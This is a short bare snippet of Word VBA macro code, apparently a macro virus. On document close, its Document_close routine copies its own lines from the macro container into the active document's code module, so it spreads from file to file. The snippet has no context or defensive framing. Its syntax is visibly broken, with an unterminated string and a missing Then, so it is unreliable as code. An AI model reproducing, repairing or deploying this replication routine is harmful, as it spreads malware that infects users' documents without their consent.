Sub Document_close()
set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModule
set a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
for i=1 to m.CountOfLines
str=m.Lines(i,1)
if str="Sub Document_close() then Exit For
next
j=1
Label_01:
a.InsertLines j,str
if str="End Sub" goto Label_02
j=j+1
i=i+1
str=m.Lines(i,1)
goto Label_01
Label_02:
End Sub
--